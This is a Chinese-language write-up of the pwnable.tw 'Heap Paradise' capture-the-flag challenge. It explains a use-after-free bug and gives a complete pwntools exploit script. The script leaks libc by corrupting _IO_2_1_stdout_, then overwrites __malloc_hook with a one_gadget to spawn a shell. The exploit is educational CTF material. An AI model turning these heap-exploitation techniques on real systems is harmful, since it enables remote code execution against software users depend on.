pwnable.tw Heap Paradise writeup

一道考验heap布局构造的pwn题,程序没有溢出点,靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/heap_paradise

程序流十分简单。

安全防护

ex@Ex:~/temp$ checksec heap_paradise
[*] '/home/ex/temp/heap_paradise'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

溢出点

void Free()
{
  __int64 index; // [rsp+8h] [rbp-8h]

  printf("Index :");
  index = get_long();
  if ( index <= 15 )
    free(ptr[index]);
}

Free函数没有清空指针,造成UAF漏洞。

思路

先构造unsorted bin来获得地址,再通过控制_IO_2_1_stdout来泄露地址,最后控制hook拿shell。

思路很简单,问题是只给我们16次Allocate机会,难度是在有限的机会中完成上述思路。

这里给个小提示,尽量不要double free来控制指针,很花费Allocate次数。

First: 先构造unsorted bin来获得地址,第一次只能使用double free,所以第一次消耗次数最多。

Allocate(0x68, 'f' * 0x10 + p64(0) + p64(0x71)) # 0
Allocate(0x68, 'a' * 0x10 + p64(0) + p64(0x31) + 'a' * 0x20 + p64(0) + p64(0x21)) # 1
Free(0)
Free(1)
Free(0)

Allocate(0x68, '\x20') # 2
Allocate(0x68, '\0') # 3
Allocate(0x68, '\0') # 4
Allocate(0x68, '\0') # 5

Free(0)

Allocate(0x68, 'd' * 0x10 + p64(0) + p64(0xa1)) # 6

# unsorted bin
Free(5)

Second: 通过控制_IO_2_1_stdout来泄露地址,这里由于heap 已经 overlap,我们可以直接编辑fastbin的fd来达到控制chunk的目的,而不用double free。 控制 _IO_2_1_stdout_ 时需要部分覆盖,所以概率是1/16

Free(0)
Free(1)

Allocate(0x78, 'f' * 0x40 + p64(0) + p64(0x71) + '\xa0' ) # 7
Free(7)

Allocate(0x68, 'b' * 0x20 + p64(0) + p64(0x71) + p64(libc.symbols['_IO_2_1_stdout_'] - 0x43)[:2]) # 8
# pause()
Allocate(0x68, '\0') # 9

# _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING
Allocate(0x68, '\0' * 3 + p64(0) * 6 + p64(0xfbad2087 + 0x1800) + p64(0) * 3 + '\x80') # 10

if(u64(sh.recvn(8)) != 0):
    raise Exception('no leak')

libc_addr = u64(sh.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))

后面就是一般的劫持hook。

脚本

1/16的概率。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './heap_paradise'
# execve_file = './heap_paradise.bak'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10308)
elf = ELF(execve_file)
libc = ELF('./libc-23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Allocate(size, data):
    sh.sendlineafter('You Choice:', '1')
    sh.sendlineafter('Size :', str(size))
    sh.sendafter('Data :', data)

def Free(index):
    sh.sendlineafter('You Choice:', '2')
    sh.sendlineafter('Index :', str(index))

Allocate(0x68, 'f' * 0x10 + p64(0) + p64(0x71)) # 0
Allocate(0x68, 'a' * 0x10 + p64(0) + p64(0x31) + 'a' * 0x20 + p64(0) + p64(0x21)) # 1
Free(0)
Free(1)
Free(0)

Allocate(0x68, '\x20') # 2
Allocate(0x68, '\0') # 3
Allocate(0x68, '\0') # 4
Allocate(0x68, '\0') # 5

Free(0)

Allocate(0x68, 'd' * 0x10 + p64(0) + p64(0xa1)) # 6

# unsorted bin
Free(5)

Free(0)
Free(1)

Allocate(0x78, 'f' * 0x40 + p64(0) + p64(0x71) + '\xa0' ) # 7
Free(7)

Allocate(0x68, 'b' * 0x20 + p64(0) + p64(0x71) + p64(libc.symbols['_IO_2_1_stdout_'] - 0x43)[:2]) # 8
# pause()
Allocate(0x68, '\0') # 9

# _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING
Allocate(0x68, '\0' * 3 + p64(0) * 6 + p64(0xfbad2087 + 0x1800) + p64(0) * 3 + '\x80') # 10

if(u64(sh.recvn(8)) != 0):
    raise Exception('no leak')

libc_addr = u64(sh.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))

Free(1)
Allocate(0x78, 'c' * 0x40 + p64(0) + p64(0x71) + p64(main_arena_addr - 0x33)) # 11

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

Allocate(0x68, '\0') # 12
Allocate(0x68, 'z' * 0x13 + p64(libc_addr + 0xef6c4)) # 13

sh.sendlineafter('You Choice:', '1')
sh.sendlineafter('Size :', str(8))

sh.interactive()
clear()